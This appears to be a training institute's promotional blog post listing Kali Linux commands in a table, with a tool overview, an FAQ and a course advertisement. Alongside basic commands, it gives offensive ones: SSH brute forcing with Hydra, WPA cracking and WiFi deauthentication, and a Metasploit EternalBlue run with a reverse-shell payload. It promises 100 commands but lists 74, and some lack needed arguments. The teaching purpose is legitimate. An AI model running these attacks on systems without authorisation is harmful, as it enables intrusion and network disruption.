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Introduction: Kali Linux Commands for Ethical Hackers
Do you know how Linux commands work for ethical hackers? If not, then you are at the right place. Here, we will talk about the Top 100 Kali Linux Commands for Ethical Hackers, explained in detail.
In the end, we will introduce you to a reputed training institute offering a dedicated training program related to Linux skills. What are we waiting for? Let’s get straight to the topic!
What is Kali Linux?
Kali Linux is an open-source Linux distribution based on Debian that was created especially for digital forensics and advanced penetration testing. With hundreds of crucial cybersecurity tools pre-installed, including Wireshark, Nmap, and Metasploit, it is the industry standard platform for security experts.
Its main objective is to assist security researchers and ethical hackers in identifying and resolving vulnerabilities in networks and applications. It is maintained by Offensive Security. Let’s take a look at the Top 100 Kali Linux Commands for Ethical Hackers!”
Top 100 Kali Linux Commands for Ethical Hackers
|
S.No. |
Command |
Description |
Example Output |
|
1. |
pwd |
Show current directory |
/home/kali |
|
2. |
ls |
List files in the directory |
Desktop Downloads Tools |
|
3. |
cd |
Change directory |
Navigates to /etc |
|
4. |
mkdir test |
Create a new directory |
Creates /test |
|
5. |
touch file.txt |
Create a new empty file |
Creates file.txt |
|
6. |
rm file.txt |
Delete a file |
Deletes file.txt |
|
7. |
rmdir test |
Delete empty directory |
Removes /test |
|
8. |
cp file1 file2 |
Copy file1 to file2 |
Copies content |
|
9. |
mv file1 /tmp |
Move file to /tmp |
File moved |
|
10. |
cat file.txt |
View file content |
Displays file content |
|
11. |
whoami |
Displays the current user |
kali |
|
12. |
id |
Show user ID |
uid=1000(kali) |
|
13. |
adduser hacker |
Add new user |
Creates user "hacker" |
|
14. |
passwd hacker |
Set password |
Prompts for password |
|
15. |
deluser hacker |
Delete user |
Removes "hacker" |
|
16. |
sudo su |
Switch to root |
Terminal switches to # |
|
17. |
groups |
Show group membership |
kali sudo |
|
18. |
ifconfig |
View network interfaces |
Shows eth0, wlan0 |
|
19. |
ip a |
Show IP addresses |
IPs of all interfaces |
|
20. |
ping 8.8.8.8 |
Test connectivity |
64 bytes from... |
|
21. |
traceroute google.com |
Trace route to the host |
List of hops |
|
22. |
netstat -tuln |
Show open ports |
Lists active ports |
|
23. |
ss -tuln |
Better alternative to netstat |
TCP listening sockets |
|
24. |
nmap 192.168.1.1 |
Port scan target |
Open ports listed |
|
25. |
wget http://site.com |
Download via HTTP |
Downloads the HTML file |
|
26. |
curl -I http://site.com |
Fetch headers |
HTTP response headers |
|
27. |
dnsenum domain.com |
DNS enumeration |
Nameservers, records |
|
28. |
top |
Real-time process list |
CPU/memory usage |
|
29. |
htop |
Enhanced top |
Colorful interface |
|
30. |
ps aux |
List processes |
PID, CMD listed |
|
31. |
kill PID |
Kill process |
Terminates by PID |
|
32. |
df -h |
Disk usage |
/dev/sda1 40% |
|
33. |
du -sh * |
Folder sizes |
10M Documents |
|
34. |
free -m |
RAM usage |
Mem: 1024MB |
|
35. |
uptime |
Show uptime |
10:24 up 3:00 |
|
36. |
who |
Logged-in users |
kali :0 |
|
37. |
uname -a |
System info |
Linux kernel details |
|
38. |
chmod +x script.sh |
Make the file executable |
Now runnable |
|
39. |
chown user:group file |
Change ownership |
Changed file owner |
|
40. |
ls -l |
List permissions |
-rw-r--r-- |
|
41. |
chmod 755 file |
Set permissions |
Executes for all |
|
42. |
apt update |
Refresh package list |
Lists updated repos |
|
43. |
apt upgrade |
Install package updates |
Installs available |
|
44. |
apt install nmap |
Install Nmap |
Downloads & installs |
|
45. |
apt remove nmap |
Remove package |
Deletes package |
|
46. |
dpkg -l |
List installed packages |
Alphabetical list |
|
47. |
dpkg -i file.deb |
Install .deb package |
Installs manually |
|
48. |
apt-cache search metasploit |
Search package |
Lists tools |
|
49. |
msfconsole |
Launch Metasploit |
Loads MSF banner |
|
50. |
sqlmap -u |
Detect SQLi |
Shows injection points |
|
51. |
burpsuite |
GUI web testing tool |
Launches interface |
|
52. |
airmon-ng |
Wireless attack prep |
Starts monitor mode |
|
53. |
aircrack-ng capture.cap |
Crack the WiFi password |
Password: 12345678 |
|
54. |
john --wordlist=rockyou.txt hash.txt |
Crack password hash |
Found: password |
|
55. |
hydra -l admin -P rockyou.txt 192.168.1.10 ssh |
Brute force SSH |
Login: admin/pass123 |
|
56. |
wireshark |
Launch packet analyzer |
Opens GUI |
|
57. |
ettercap -G |
MITM attack tool |
Launches GUI |
|
58. |
ncat -lvp 4444 |
Listen on port |
Connection info |
|
59. |
dirb http://site.com |
Directory brute force |
/admin found |
|
60. |
gobuster dir -u http://site.com -w /usr/share/wordlists |
Directory scan |
Found /login |
|
61. |
whatweb http://site.com |
Identify tech stack |
Apache, PHP |
|
62. |
nikto -h http://site.com |
Web server vulnerabilities |
XSS, outdated software |
|
63. |
airmon-ng start wlan0 |
Monitor mode |
Enabled wlan0mon |
|
64. |
airodump-ng wlan0mon |
Capture WiFi packets |
BSSID, signal strength |
|
65. |
aireplay-ng -0 10 -a wlan0mon |
Deauth packets |
Kicks clients |
|
66. |
aircrack-ng -w rockyou.txt capture.cap |
Crack WPA key |
Key: qwerty123 |
|
67. |
nano script.sh |
Open file editor |
Editing script |
|
68. |
bash script.sh |
Run the shell script |
Executes |
|
69. |
python3 script.py |
Run Python script |
Output from script |
|
70. |
chmod +x exploit.py |
Make executable |
Can run directly |
|
71. |
use exploit/windows/smb/ms17_010_eternalblue |
Load EternalBlue |
Module loaded |
|
72. |
set RHOST 192.168.1.10 |
Set target |
RHOST => 192.168.1.10 |
|
73. |
set PAYLOAD windows/meterpreter/reverse_tcp |
Set payload |
Payload set |
|
74. |
exploit |
Launch exploit |
Session opened |
Why Knowing Kali Linux Commands Is Important?
Knowing Kali Linux Commands is important for the following reasons:
- Direct System Interaction and Control: Direct operating system manipulation is made possible by commands, which are essential for low-level security duties like network interface management.
- Efficient Tool Utilization: To correctly set up, run, and supply parameters to Kali's hundreds of specialized security tools, such as Nmap and Metasploit, one must be familiar with the command-line interface (CLI).
- Fundamental Linux Skill: Gaining proficiency with Kali's commands develops a fundamental ability in the widely used Linux environment, which is necessary for almost all cybersecurity positions.
- Speed and Automation: Fast execution, scripting (like Bash), and tool chaining to automate intricate reconnaissance and assault sequences are made possible by CLI commands.
- Forensics and Low-Level Analysis: Deep-dive tasks like hash cracking (John), packet sniffing (tcpdump), and raw system-level data analysis require commands.
- Remote Access and Minimal Environments: In many real-world testing scenarios, the GUI is unusable because of limited SSH or basic shells, where only command-line tools are accessible.
- Customization and Configuration: Installing and updating programs, customizing the environment, and correctly configuring network settings for particular assaults are all accomplished with commands.
- Job Requirement and Industry Standard: Knowledge of Kali Linux commands is required for ethical hacking certifications and is frequently evaluated during cybersecurity job interviews.
Penetration Testing Tools
|
S.No. |
Tools |
What? |
|
1. |
Nmap (Network Mapper) |
An open-source tool for security auditing and network discovery. By sending packets and examining the replies, it finds hosts and services on a computer network. |
|
2. |
Wireshark |
A popular tool for network protocol analysis, sometimes known as a packet sniffer, that enables you to interactively examine the data moving over a computer network. Deep network traffic inspection and analysis require it. |
|
3. |
Nikto |
An open-source web server scanner that thoroughly examines web servers for a variety of things, such as malicious files or CGI scripts, out-of-date server versions, and other configuration problems. |
|
4. |
OpenVAS (Open Vulnerability Assessment System) |
A feature-rich vulnerability scanner that conducts a high-level, non-credentialed remote scan to look for different security flaws and configuration errors. |
|
5. |
Metasploit Framework |
The most widely used open-source exploitation framework worldwide. It offers a framework for creating, evaluating, and running attack code on a distant target computer. |
|
6. |
Burp Suite |
An all-inclusive framework for testing web apps for security. It comes with tools for identifying and taking advantage of online weaknesses, such as an intruder, scanner, and intercepting proxy. |
|
7. |
SQLMap |
An open-source penetration testing tool that makes it easier to find and take advantage of SQL injection vulnerabilities to take control of database servers. |
|
8. |
John the Ripper (JtR) |
A quick password cracker that works with a variety of Unix, macOS, Windows, DOS, and OpenVMS versions. Weak Unix password detection is its main objective. |
|
9. |
Hydra |
Frequently used for brute-force attacks on systems, this parallelized login cracker supports multiple protocols to attack network services for password guessing. |
|
10. |
Aircrack-ng |
A whole set of instruments for evaluating the security of Wi-Fi networks. Monitoring, attacking, testing, and breaking wireless keys (WEP, WPA/WPA2) are its main objectives. |
Frequently Asked Questions
About Top 100 Kali Linux Commands for Ethical Hackers
- What is Kali Linux used for in cybersecurity?
Due to its extensive set of pre-installed tools, Kali Linux is mostly utilized in cybersecurity for penetration testing, ethical hacking, and security audits.
- Is Kali Linux suitable for beginners?
Since Kali Linux has a steep learning curve and is intended for seasoned security professionals, it is generally not advised for complete Linux novices.
- What are some must-know Kali Linux commands?
The following are some must-know Kali Linux commands:
a) ls (LiSt directory contents),
b) cd (Change Directory),
c) ifconfig (Interface Configuration) or ip a (IP Address),
d) nmap (Network Mapper), and
e) apt update and apt install (Advanced Package Tool).
- What is the difference between Kali Linux and Ubuntu?
While Ubuntu is a general-purpose operating system for daily use, development, and servers, Kali Linux is a distribution specifically designed for penetration testing and digital forensics.
- How can I update Kali Linux?
To get the most recent package lists and upgrade every package, open your terminal and type sudo apt update && sudo apt full-upgrade -y.
- What is the default user in Kali Linux?
The default login and password for a live boot or pre-made image are both kali for Kali Linux versions 2021.0.1 and later.
- How do I scan a network using Kali Linux?
Run nmap -T4 -A 192.168.1.0/24 (substitute your target network range for 192.168.1.0/24) for a thorough, quick, and aggressive scan that includes traceroute, OS detection, version detection, and script scanning.
- How do I access root in Kali Linux?
To switch to an interactive root shell (where you will be asked for your current user password), type sudo su -.
- What is msfconsole used for?
The Metasploit Framework's primary interactive command-line interface, msfconsole, is used to find, set up, and run exploits and auxiliary modules for penetration testing.
- How can I crack passwords in Kali Linux?
With a single-line command like john --wordlist=/path/to/wordlist.txt /path/to/hashfile or hashcat -m , you can use a program like John the Ripper or Hashcat to break passwords on Kali Linux.
- What is airmon-ng used for?
In order to use programs like Aircrack-ng to capture and inject wireless packets, a Linux script called airmon-ng is used to enable or disable monitor mode (RFMON) on a wireless network device.
- How to check open ports on a server in Kali Linux?
To display all TCP and UDP ports that are currently listening on the local server, use sudo ss -tunl. Alternatively, use sudo nmap -sT -p- \target_ip> to execute a complete TCP connect scan for all 65535 ports on the server.
- How can I find DNS records using Kali Linux?
To find all available DNS records for a domain in Kali Linux, use: dig example.com ANY +noall +answer
- What are common directory navigation commands?
The most often used commands for directory navigation are cd (change directory), ls (list directory contents), and pwd (print working directory).
- How do I see my IP address in Kali Linux?
The commands curl ifconfig.me (for public/external IP) and ip a (for private/local IP) can be used to quickly view your IP address in the terminal under Kali Linux.
Conclusion
Now that we have talked about the Top 100 Kali Linux Commands for Ethical Hackers, you might want to learn the commands professionally. For that, you can get in contact with Craw Security, offering the Best Linux Essentials Course in Delhi to IT Aspirants.
During the training sessions, students will be able to try their skills on various tasks while using Kali Linux commands under the supervision of professionals. Moreover, online sessions will facilitate students in remote learning.
After the completion of the Best Linux Essentials Course in Delhi offered by Craw Security, students will be able to receive a dedicated certificate validating their honed knowledge & skills during the sessions. What are you waiting for? Contact, Now!
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